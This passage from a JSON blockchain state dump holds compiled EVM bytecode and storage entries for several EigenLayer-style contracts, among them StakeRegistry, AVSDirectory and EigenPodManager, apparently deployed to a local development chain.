602090810291909101810151825460018101845560009384528284208251928401516001600160601b0316600160a01b026001600160a01b039093169290921791015560ff871682526004905260409020845185908390811061276b5761276b61349e565b6020908102919091018101515182546001810184556000938452919092200180546001600160a01b0319166001600160a01b03909216919091179055835160ff8616907f10565e56cacbf32eca267945f054fec02e59750032d113d3302182ad967f5404908690849081106127e2576127e261349e565b602090810291909101810151516040516001600160a01b0390911681520160405180910390a28460ff167f11a5641322da1dff56a4b66eaac31ffa465295ece907cd163437793b4d009a7585838151811061283f5761283f61349e565b60200260200101516000015186848151811061285d5761285d61349e565b602002602001015160200151604051612877929190612c0f565b60405180910390a260010161255b565b5050505050565b816000015163ffffffff168163ffffffff1610156129335760405162461bcd60e51b815260206004820152605660248201527f5374616b6552656769737472792e5f76616c69646174655374616b655570646160448201527f74654174426c6f636b4e756d6265723a207374616b6555706461746520697320606482015275333937b69030b33a32b910313637b1b5a73ab6b132b960511b608482015260a401610611565b602082015163ffffffff1615806129595750816020015163ffffffff168163ffffffff16105b612a045760405162461bcd60e51b815260206004820152606a60248201527f5374616b6552656769737472792e5f76616c69646174655374616b655570646160448201527f74654174426c6f636b4e756d6265723a2074686572652069732061206e65776560648201527f72207374616b6555706461746520617661696c61626c65206265666f726520626084820152693637b1b5a73ab6b132b960b11b60a482015260c401610611565b5050565b600083815260026020908152604080832060ff86168452909152812054805b8015612aa957600086815260026020908152604080832060ff89168452909152902063ffffffff851690612a5c600184613557565b81548110612a6c57612a6c61349e565b60009182526020909120015463ffffffff1611612a9757612a8e600182613557565b925050506114ee565b80612aa1816136d8565b915050612a27565b5060405162461bcd60e51b815260206004820152608160248201527f5374616b6552656769737472792e5f6765745374616b65557064617465496e6460448201527f6578466f724f70657261746f724174426c6f636b4e756d6265723a206e6f207360648201527f74616b652075706461746520666f756e6420666f72206f70657261746f72496460848201527f20616e642071756f72756d4e756d62657220617420626c6f636b206e756d626560a4820152603960f91b60c482015260e401610611565b60006114ee6001600160601b038085169084166136ef565b600080821215612baa57612b998261370f565b612ba3908461372b565b9050610cae565b612ba382846136a6565b803560ff81168114612bc557600080fd5b919050565b600060208284031215612bdc57600080fd5b6114ee82612bb4565b60008060408385031215612bf857600080fd5b612c0183612bb4565b946020939093013593505050565b6001600160a01b039290921682526001600160601b0316602082015260400190565b6001600160a01b0381168114612c4657600080fd5b50565b60008060408385031215612c5c57600080fd5b612c6583612bb4565b91506020830135612c7581612c31565b809150509250929050565b60008083601f840112612c9257600080fd5b5081356001600160401b03811115612ca957600080fd5b6020830191508360208260051b8501011115611ffa57600080fd5b600080600080600060608688031215612cdc57600080fd5b612ce586612bb4565b945060208601356001600160401b03811115612d0057600080fd5b612d0c88828901612c80565b90955093505060408601356001600160401b03811115612d2b57600080fd5b612d3788828901612c80565b969995985093965092949392505050565b60008083601f840112612d5a57600080fd5b5081356001600160401b03811115612d7157600080fd5b602083019150836020828501011115611ffa57600080fd5b60008060008060608587031215612d9f57600080fd5b8435612daa81612c31565b93506020850135925060408501356001600160401b03811115612dcc57600080fd5b612dd887828801612d48565b95989497509550505050565b600081518084526020840193506020830160005b82811015612e1f5781516001600160601b0316865260209586019590910190600101612df8565b5093949350505050565b604081526000612e3c6040830185612de4565b82810360208401526123ee8185612de4565b60008060408385031215612e6157600080fd5b82359150612e7160208401612bb4565b90509250929050565b602080825282518282018190526000918401906040840190835b81811015612ee957612ed383855163ffffffff815116825263ffffffff60208201511660208301526001600160601b0360408201511660408301525050565b6020939093019260609290920191600101612e94565b509095945050505050565b634e487b7160e01b600052604160045260246000fd5b604080519081016001600160401b0381118282101715612f2c57612f2c612ef4565b60405290565b604051601f8201601f191681016001600160401b0381118282101715612f5a57612f5a612ef4565b604052919050565b60006001600160401b03821115612f7b57612f7b612ef4565b5060051b60200190565b60008060408385031215612f9857600080fd5b612fa183612bb4565b915060208301356001600160401b03811115612fbc57600080fd5b8301601f81018513612fcd57600080fd5b8035612fe0612fdb82612f62565b612f32565b8082825260208201915060208360051b85010192508783111561300257600080fd5b6020840193505b82841015613024578335825260209384019390910190613009565b809450505050509250929050565b803563ffffffff81168114612bc557600080fd5b60008060006040848603121561305b57600080fd5b61306484613032565b925060208401356001600160401b0381111561307f57600080fd5b61308b86828701612d48565b9497909650939450505050565b602080825282518282018190526000918401906040840190835b81811015612ee957835163ffffffff168352602093840193909201916001016130b2565b6000806000606084860312156130eb57600080fd5b6130f484612bb4565b95602085013595506040909401359392505050565b60608101610cae828463ffffffff815116825263ffffffff60208201511660208301526001600160601b0360408201511660408301525050565b80356001600160601b0381168114612bc557600080fd5b6000806040838503121561316d57600080fd5b61317683612bb4565b9150612e7160208401613143565b60008060006040848603121561319957600080fd5b8335925060208401356001600160401b0381111561307f57600080fd5b600082601f8301126131c757600080fd5b81356131d5612fdb82612f62565b8082825260208201915060208360061b8601019250858311156131f757600080fd5b602085015b83811015611236576040818803121561321457600080fd5b61321c612f0a565b813561322781612c31565b815261323560208301613143565b6020820152808452506020830192506040810190506131fc565b6000806040838503121561326257600080fd5b61326b83612bb4565b915060208301356001600160401b0381111561328657600080fd5b613292858286016131b6565b9150509250929050565b6000806000606084860312156132b157600080fd5b6132ba84612bb4565b92506132c860208501613032565b929592945050506040919091013590565b6000806000606084860312156132ee57600080fd5b833592506132fe60208501612bb4565b915061330c60408501613032565b90509250925092565b6000806000806080858703121561332b57600080fd5b61333485612bb4565b935061334260208601613032565b93969395505050506040820135916060013590565b60008060006060848603121561336c57600080fd5b61337584612bb4565b925061338360208501613143565b915060408401356001600160401b0381111561339e57600080fd5b6133aa868287016131b6565b9150509250925092565b60208082526031908201527f5374616b6552656769737472792e71756f72756d4578697374733a2071756f726040820152701d5b48191bd95cc81b9bdd08195e1a5cdd607a1b606082015260800190565b60006020828403121561341757600080fd5b81516114ee81612c31565b60208082526056908201527f5374616b6552656769737472792e6f6e6c79436f6f7264696e61746f724f776e60408201527f65723a2063616c6c6572206973206e6f7420746865206f776e6572206f6620746060820152753432903932b3b4b9ba393ca1b7b7b93234b730ba37b960511b608082015260a00190565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156134c657600080fd5b6114ee82613143565b6020808252604c908201527f5374616b6552656769737472792e6f6e6c795265676973747279436f6f72646960408201527f6e61746f723a2063616c6c6572206973206e6f7420746865205265676973747260608201526b3ca1b7b7b93234b730ba37b960a11b608082015260a00190565b634e487b7160e01b600052601160045260246000fd5b81810381811115610cae57610cae613541565b634e487b7160e01b600052603160045260246000fd5b6001600160a01b0383168152604060208083018290528354918301829052600084815290812090916060840190835b818110156135d65783546001600160a01b03168352600193840193602090930192016135af565b50909695505050505050565b6000602082840312156135f457600080fd5b81516001600160401b0381111561360a57600080fd5b8201601f8101841361361b57600080fd5b8051613629612fdb82612f62565b8082825260208201915060208360051b85010192508683111561364b57600080fd5b6020840193505b82841015612276578351825260209384019390910190613652565b8082028115828204841417610cae57610cae613541565b6000826136a157634e487b7160e01b600052601260045260246000fd5b500490565b6001600160601b038181168382160190811115610cae57610cae613541565b80820180821115610cae57610cae613541565b6000816136e7576136e7613541565b506000190190565b818103600083128015838313168383128216171561062b5761062b613541565b6000600160ff1b820161372457613724613541565b5060000390565b6001600160601b038281168282160390811115610cae57610cae61354156fe5374616b6552656769737472792e5f6164645374726174656779506172616d73a2646970667358221220ade96e3ade679b88daf0a3f2ca01448425dba1d13a0dbd3a632fb89841cd4fea64736f6c634300081c0033","storage":{}},"0x9a676e781a523b5d0c0e43731313a708cb607508":{"nonce":1,"balance":"0x0","code":"0x608060405234801561001057600080fd5b50600436106101425760003560e01c80638da5cb5b116100b8578063d79aceab1161007c578063d79aceab146102f8578063df5cf7231461031f578063ec76f44214610346578063f2fde38b14610359578063f698da251461036c578063fabc1cbc1461037457600080fd5b80638da5cb5b1461029b5780639926ee7d146102ac578063a1060c88146102bf578063a364f4da146102d2578063a98fb355146102e557600080fd5b806349075da31161010a57806349075da3146101fa578063595c6a67146102355780635ac86ab71461023d5780635c975abb14610260578063715018a614610268578063886f11951461027057600080fd5b806310d67a2f14610147578063136439dd1461015c5780631794bb3c1461016f57806320606b7014610182578063374823b5146101bc575b600080fd5b61015a6101553660046118a2565b610387565b005b61015a61016a3660046118c6565b610443565b61015a61017d3660046118df565b610582565b6101a97f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b6040519081526020015b60405180910390f35b6101ea6101ca366004611920565b609960209081526000928352604080842090915290825290205460ff1681565b60405190151581526020016101b3565b61022861020836600461194c565b609860209081526000928352604080842090915290825290205460ff1681565b6040516101b3919061199b565b61015a6106ac565b6101ea61024b3660046119c3565b606654600160ff9092169190911b9081161490565b6066546101a9565b61015a610773565b606554610283906001600160a01b031681565b6040516001600160a01b0390911681526020016101b3565b6033546001600160a01b0316610283565b61015a6102ba366004611a56565b610787565b6101a96102cd366004611b4b565b610b18565b61015a6102e03660046118a2565b610bd1565b61015a6102f3366004611b91565b610d39565b6101a97fda2c89bafdd34776a2b8bb9c83c82f419e20cc8c67207f70edd58249b92661bd81565b6102837f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc981565b61015a6103543660046118c6565b610d80565b61015a6103673660046118a2565b610e2b565b6101a9610ea1565b61015a6103823660046118c6565b610ede565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156103da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103fe9190611c05565b6001600160a01b0316336001600160a01b0316146104375760405162461bcd60e51b815260040161042e90611c22565b60405180910390fd5b6104408161103a565b50565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa15801561048b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104af9190611c6c565b6104cb5760405162461bcd60e51b815260040161042e90611c8e565b606654818116146105445760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c6974790000000000000000606482015260840161042e565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b600054610100900460ff16158080156105a25750600054600160ff909116105b806105bc5750303b1580156105bc575060005460ff166001145b61061f5760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b606482015260840161042e565b6000805460ff191660011790558015610642576000805461ff0019166101001790555b61064c8383611131565b61065461121b565b609755610660846112b2565b80156106a6576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b50505050565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156106f4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107189190611c6c565b6107345760405162461bcd60e51b815260040161042e90611c8e565b600019606681905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b61077b611304565b61078560006112b2565b565b6066546000906001908116036107db5760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b604482015260640161042e565b42826040015110156108435760405162461bcd60e51b815260206004820152603e6024820152600080516020611da683398151915260448201527f56533a206f70657261746f72207369676e617475726520657870697265640000606482015260840161042e565b60013360009081526098602090815260408083206001600160a01b038816845290915290205460ff16600181111561087d5761087d611985565b036108de5760405162461bcd60e51b815260206004820152603f6024820152600080516020611da683398151915260448201527f56533a206f70657261746f7220616c7265616479207265676973746572656400606482015260840161042e565b6001600160a01b038316600090815260996020908152604080832085830151845290915290205460ff16156109625760405162461bcd60e51b81526020600482015260366024820152600080516020611da68339815191526044820152751594ce881cd85b1d08185b1c9958591e481cdc195b9d60521b606482015260840161042e565b6040516336b87bd760e11b81526001600160a01b0384811660048301527f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc91690636d70f7ae90602401602060405180830381865afa1580156109c8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109ec9190611c6c565b610a625760405162461bcd60e51b815260206004820152604d6024820152600080516020611da683398151915260448201527f56533a206f70657261746f72206e6f74207265676973746572656420746f204560648201526c1a59d95b93185e595c881e595d609a1b608482015260a40161042e565b6000610a78843385602001518660400151610b18565b9050610a898482856000015161135e565b3360008181526098602090815260408083206001600160a01b0389168085529083528184208054600160ff199182168117909255609985528386208a860151875290945293829020805490931684179092555190917ff0952b1c65271d819d39983d2abb044b9cace59bcc4d4dd389f586ebdcb15b4191610b0a919061199b565b60405180910390a350505050565b604080517fda2c89bafdd34776a2b8bb9c83c82f419e20cc8c67207f70edd58249b92661bd6020808301919091526001600160a01b0387811683850152861660608301526080820185905260a08083018590528351808403909101815260c0909201909252805191012060009081610b8e610ea1565b60405161190160f01b602082015260228101919091526042810183905260620160408051808303601f190181529190528051602090910120979650505050505050565b606654600090600190811603610c255760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b604482015260640161042e565b60013360009081526098602090815260408083206001600160a01b038716845290915290205460ff166001811115610c5f57610c5f611985565b14610cd25760405162461bcd60e51b815260206004820152603f60248201527f4156534469726563746f72792e646572656769737465724f70657261746f724660448201527f726f6d4156533a206f70657261746f72206e6f74207265676973746572656400606482015260840161042e565b3360008181526098602090815260408083206001600160a01b0387168085529252808320805460ff191690555190917ff0952b1c65271d819d39983d2abb044b9cace59bcc4d4dd389f586ebdcb15b4191610d2d919061199b565b60405180910390a35050565b336001600160a01b03167fa89c1dc243d8908a96dd84944bcc97d6bc6ac00dd78e20621576be6a3c9437138383604051610d74929190611cd6565b60405180910390a25050565b33600090815260996020908152604080832084845290915290205460ff1615610e055760405162461bcd60e51b815260206004820152603160248201527f4156534469726563746f72792e63616e63656c53616c743a2063616e6e6f742060448201527018d85b98d95b081cdc195b9d081cd85b1d607a1b606482015260840161042e565b33600090815260996020908152604080832093835292905220805460ff19166001179055565b610e33611304565b6001600160a01b038116610e985760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161042e565b610440816112b2565b60007f0000000000000000000000000000000000000000000000000000000000007a694603610ed1575060975490565b610ed961121b565b905090565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f31573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f559190611c05565b6001600160a01b0316336001600160a01b031614610f855760405162461bcd60e51b815260040161042e90611c22565b6066541981196066541916146110035760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c6974790000000000000000606482015260840161042e565b606681905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c90602001610577565b6001600160a01b0381166110c85760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a40161042e565b606554604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1606580546001600160a01b0319166001600160a01b0392909216919091179055565b6065546001600160a01b031615801561115257506001600160a01b03821615155b6111d45760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a40161042e565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a26112178261103a565b5050565b604080518082018252600a81526922b4b3b2b72630bcb2b960b11b60209182015281517f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866818301527f71b625cfad44bac63b13dba07f2e1d6084ee04b6f8752101ece6126d584ee6ea81840152466060820152306080808301919091528351808303909101815260a0909101909252815191012090565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6033546001600160a01b031633146107855760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161042e565b6001600160a01b0383163b1561147d57604051630b135d3f60e11b808252906001600160a01b03851690631626ba7e9061139e9086908690600401611d05565b602060405180830381865afa1580156113bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113df9190611d5a565b6001600160e01b031916146114785760405162461bcd60e51b815260206004820152605360248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a2045524331323731207369676e6174757265206064820152721d995c9a599a58d85d1a5bdb8819985a5b1959606a1b608482015260a40161042e565b505050565b826001600160a01b0316611491838361151d565b6001600160a01b0316146114785760405162461bcd60e51b815260206004820152604760248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a207369676e6174757265206e6f742066726f6d6064820152661039b4b3b732b960c91b608482015260a40161042e565b600080600061152c8585611543565b91509150611539816115b1565b5090505b92915050565b60008082516041036115795760208301516040840151606085015160001a61156d87828585611767565b945094505050506115aa565b82516040036115a25760208301516040840151611597868383611854565b9350935050506115aa565b506000905060025b9250929050565b60008160048111156115c5576115c5611985565b036115cd5750565b60018160048111156115e1576115e1611985565b0361162e5760405162461bcd60e51b815260206004820152601860248201527f45434453413a20696e76616c6964207369676e61747572650000000000000000604482015260640161042e565b600281600481111561164257611642611985565b0361168f5760405162461bcd60e51b815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e67746800604482015260640161042e565b60038160048111156116a3576116a3611985565b036116fb5760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c604482015261756560f01b606482015260840161042e565b600481600481111561170f5761170f611985565b036104405760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c604482015261756560f01b606482015260840161042e565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a083111561179e575060009050600361184b565b8460ff16601b141580156117b657508460ff16601c14155b156117c7575060009050600461184b565b6040805160008082526020820180845289905260ff881692820192909252606081018690526080810185905260019060a0016020604051602081039080840390855afa15801561181b573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b0381166118445760006001925092505061184b565b9150600090505b94509492505050565b6000806001600160ff1b0383168161187160ff86901c601b611d84565b905061187f87828885611767565b935093505050935093915050565b6001600160a01b038116811461044057600080fd5b6000602082840312156118b457600080fd5b81356118bf8161188d565b9392505050565b6000602082840312156118d857600080fd5b5035919050565b6000806000606084860312156118f457600080fd5b83356118ff8161188d565b9250602084013561190f8161188d565b929592945050506040919091013590565b6000806040838503121561193357600080fd5b823561193e8161188d565b946020939093013593505050565b6000806040838503121561195f57600080fd5b823561196a8161188d565b9150602083013561197a8161188d565b809150509250929050565b634e487b7160e01b600052602160045260246000fd5b60208101600283106119bd57634e487b7160e01b600052602160045260246000fd5b91905290565b6000602082840312156119d557600080fd5b813560ff811681146118bf57600080fd5b634e487b7160e01b600052604160045260246000fd5b6040516060810167ffffffffffffffff81118282101715611a1f57611a1f6119e6565b60405290565b604051601f8201601f1916810167ffffffffffffffff81118282101715611a4e57611a4e6119e6565b604052919050565b60008060408385031215611a6957600080fd5b8235611a748161188d565b9150602083013567ffffffffffffffff811115611a9057600080fd5b830160608186031215611aa257600080fd5b611aaa6119fc565b813567ffffffffffffffff811115611ac157600080fd5b8201601f81018713611ad257600080fd5b803567ffffffffffffffff811115611aec57611aec6119e6565b611aff601f8201601f1916602001611a25565b818152886020838501011115611b1457600080fd5b8160208401602083013760006020928201830152835283810135908301525060409182013591810191909152919491935090915050565b60008060008060808587031215611b6157600080fd5b8435611b6c8161188d565b93506020850135611b7c8161188d565b93969395505050506040820135916060013590565b60008060208385031215611ba457600080fd5b823567ffffffffffffffff811115611bbb57600080fd5b8301601f81018513611bcc57600080fd5b803567ffffffffffffffff811115611be357600080fd5b856020828401011115611bf557600080fd5b6020919091019590945092505050565b600060208284031215611c1757600080fd5b81516118bf8161188d565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b600060208284031215611c7e57600080fd5b815180151581146118bf57600080fd5b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b60208152816020820152818360408301376000818301604090810191909152601f909201601f19160101919050565b828152604060208201526000825180604084015260005b81811015611d395760208186018101516060868401015201611d1c565b506000606082850101526060601f19601f8301168401019150509392505050565b600060208284031215611d6c57600080fd5b81516001600160e01b0319811681146118bf57600080fd5b8082018082111561153d57634e487b7160e01b600052601160045260246000fdfe4156534469726563746f72792e72656769737465724f70657261746f72546f41a2646970667358221220626c725dc93ffa1c0bc54f081ad507d11a26614950e1667781a557683d3b300b64736f6c634300081c0033","storage":{"0x0000000000000000000000000000000000000000000000000000000000000000":"0x00000000000000000000000000000000000000000000000000000000000000ff"}},"0x9a9f2ccfde556a7e9ff0848998aa4a0cfd8863ae":{"nonce":1,"balance":"0x0","code":"0x6080604052600436106101ee5760003560e01c80638da5cb5b1161010d578063c052bd61116100a0578063d1c64cc91161006f578063d1c64cc914610604578063ea4d3c9b14610624578063f2fde38b14610658578063f6848d2414610678578063fabc1cbc146106b357600080fd5b8063c052bd6114610584578063c1de3aef146105a4578063c2c51c40146105c4578063cf756fdf146105e457600080fd5b8063a38406a3116100dc578063a38406a3146104fa578063a6a509be1461051a578063b134427114610530578063beffbb891461056457600080fd5b80638da5cb5b1461046b5780639104c319146104895780639b4e4634146104b15780639ba06275146104c457600080fd5b8063595c6a6711610185578063715018a611610154578063715018a6146103ed57806374cdd7981461040257806384d8106214610436578063886f11951461044b57600080fd5b8063595c6a67146103565780635ac86ab71461036b5780635c975abb146103ab57806360f4062b146103c057600080fd5b8063387b1300116101c1578063387b1300146102b457806339b70e38146102d457806344e71c8014610308578063463db0381461033657600080fd5b80630e81073c146101f357806310d67a2f14610226578063136439dd14610248578063292b7b2b14610268575b600080fd5b3480156101ff57600080fd5b5061021361020e36600461240b565b6106d3565b6040519081526020015b60405180910390f35b34801561023257600080fd5b50610246610241366004612437565b610911565b005b34801561025457600080fd5b50610246610263366004612454565b6109c4565b34801561027457600080fd5b5061029c7f000000000000000000000000b7f8bc63bbcad18155201308c8f3540b07f84f5e81565b6040516001600160a01b03909116815260200161021d565b3480156102c057600080fd5b506102466102cf36600461246d565b610b03565b3480156102e057600080fd5b5061029c7f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c981565b34801561031457600080fd5b5061031d610ea1565b60405167ffffffffffffffff909116815260200161021d565b34801561034257600080fd5b506102466103513660046124ae565b610ecc565b34801561036257600080fd5b5061024661105b565b34801561037757600080fd5b5061039b6103863660046124d8565b606654600160ff9092169190911b9081161490565b604051901515815260200161021d565b3480156103b757600080fd5b50606654610213565b3480156103cc57600080fd5b506102136103db366004612437565b609b6020526000908152604090205481565b3480156103f957600080fd5b50610246611122565b34801561040e57600080fd5b5061029c7f000000000000000000000000424242424242424242424242424242424242424281565b34801561044257600080fd5b5061029c611136565b34801561045757600080fd5b5060655461029c906001600160a01b031681565b34801561047757600080fd5b506033546001600160a01b031661029c565b34801561049557600080fd5b5061029c73beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac081565b6102466104bf366004612544565b61121f565b3480156104d057600080fd5b5061029c6104df366004612437565b6098602052600090815260409020546001600160a01b031681565b34801561050657600080fd5b5061029c610515366004612437565b61130d565b34801561052657600080fd5b5061021360995481565b34801561053c57600080fd5b5061029c7f000000000000000000000000a513e6e4b8f2a923d98304ec87f64353c4d5c85381565b34801561057057600080fd5b5061024661057f36600461240b565b6113df565b34801561059057600080fd5b5060975461029c906001600160a01b031681565b3480156105b057600080fd5b506102466105bf366004612437565b6115f6565b3480156105d057600080fd5b506102466105df36600461240b565b611607565b3480156105f057600080fd5b506102466105ff3660046125bd565b611a09565b34801561061057600080fd5b5061021361061f3660046124ae565b611b32565b34801561063057600080fd5b5061029c7f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc981565b34801561066457600080fd5b50610246610673366004612437565b611c3d565b34801561068457600080fd5b5061039b610693366004612437565b6001600160a01b0390811660009081526098602052604090205416151590565b3480156106bf57600080fd5b506102466106ce366004612454565b611cb3565b6000336001600160a01b037f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc916146107265760405162461bcd60e51b815260040161071d9061260e565b60405180910390fd5b6001600160a01b0383166107a25760405162461bcd60e51b815260206004820152603a60248201527f456967656e506f644d616e616765722e6164645368617265733a20706f644f7760448201527f6e65722063616e6e6f74206265207a65726f2061646472657373000000000000606482015260840161071d565b60008212156108105760405162461bcd60e51b815260206004820152603460248201527f456967656e506f644d616e616765722e6164645368617265733a207368617265604482015273732063616e6e6f74206265206e6567617469766560601b606482015260840161071d565b61081e633b9aca0083612682565b156108915760405162461bcd60e51b815260206004820152603d60248201527f456967656e506f644d616e616765722e6164645368617265733a20736861726560448201527f73206d75737420626520612077686f6c65204777656920616d6f756e74000000606482015260840161071d565b6001600160a01b0383166000908152609b6020526040812054906108b584836126ac565b6001600160a01b0386166000818152609b60205260409081902083905551919250906000805160206131f8833981519152906108f49087815260200190565b60405180910390a26109068282611e0f565b925050505b92915050565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610964573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061098891906126d4565b6001600160a01b0316336001600160a01b0316146109b85760405162461bcd60e51b815260040161071d906126f1565b6109c181611e51565b50565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa158015610a0c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a30919061273b565b610a4c5760405162461bcd60e51b815260040161071d9061275d565b60665481811614610ac55760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c6974790000000000000000606482015260840161071d565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b336001600160a01b037f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc91614610b4b5760405162461bcd60e51b815260040161071d9061260e565b6001600160a01b038316610bc55760405162461bcd60e51b8152602060048201526047602482015260008051602061321883398151915260448201527f546f6b656e733a20706f644f776e65722063616e6e6f74206265207a65726f206064820152666164647265737360c81b608482015260a40161071d565b6001600160a01b038216610c425760405162461bcd60e51b815260206004820152604a602482015260008051602061321883398151915260448201527f546f6b656e733a2064657374696e6174696f6e2063616e6e6f74206265207a65606482015269726f206164647265737360b01b608482015260a40161071d565b6000811215610cb15760405162461bcd60e51b8152602060048201526041602482015260008051602061321883398151915260448201527f546f6b656e733a207368617265732063616e6e6f74206265206e6567617469766064820152606560f81b608482015260a40161071d565b610cbf633b9aca0082612682565b15610d335760405162461bcd60e51b815260206004820152604a602482015260008051602061321883398151915260448201527f546f6b656e733a20736861726573206d75737420626520612077686f6c6520476064820152691dd95a48185b5bdd5b9d60b21b608482015260a40161071d565b6001600160a01b0383166000908152609b602052604081205490811215610e26576000610d5f826127a5565b905080831115610dc4576001600160a01b0385166000908152609b6020526040812055610d8c81846127c1565b9250846001600160a01b03166000805160206131f883398151915282604051610db791815260200190565b60405180910390a2610e24565b6001600160a01b0385166000908152609b602052604081208054859290610dec9084906126ac565b90915550506040518381526001600160a01b038616906000805160206131f88339815191529060200160405180910390a25050505050565b505b6001600160a01b03848116600090815260986020526040908190205490516362483a2160e11b815285831660048201526024810185905291169063c490744290604401600060405180830381600087803b158015610e8357600080fd5b505af1158015610e97573d6000803e3d6000fd5b5050505050505050565b609c5460009067ffffffffffffffff16808203610ec75767ffffffffffffffff91505090565b919050565b610ed4611f48565b8067ffffffffffffffff16600003610f695760405162461bcd60e51b815260206004820152604c60248201527f456967656e506f644d616e616765722e73657444656e6562466f726b54696d6560448201527f7374616d703a2063616e6e6f7420736574206e657744656e6562466f726b546960648201526b06d657374616d7020746f20360a41b608482015260a40161071d565b609c5467ffffffffffffffff16156110055760405162461bcd60e51b815260206004820152605360248201527f456967656e506f644d616e616765722e73657444656e6562466f726b54696d6560448201527f7374616d703a2063616e6e6f74207365742064656e6562466f726b54696d657360648201527274616d70206d6f7265207468616e206f6e636560681b608482015260a40161071d565b609c805467ffffffffffffffff191667ffffffffffffffff83169081179091556040519081527f19200b6fdad58f91b2f496b0c444fc4be3eff74a7e24b07770e04a7137bfd9db9060200160405180910390a150565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156110a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110c7919061273b565b6110e35760405162461bcd60e51b815260040161071d9061275d565b600019606681905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b61112a611f48565b6111346000611fa2565b565b606654600090819060019081160361118c5760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b604482015260640161071d565b336000908152609860205260409020546001600160a01b03161561120e5760405162461bcd60e51b815260206004820152603360248201527f456967656e506f6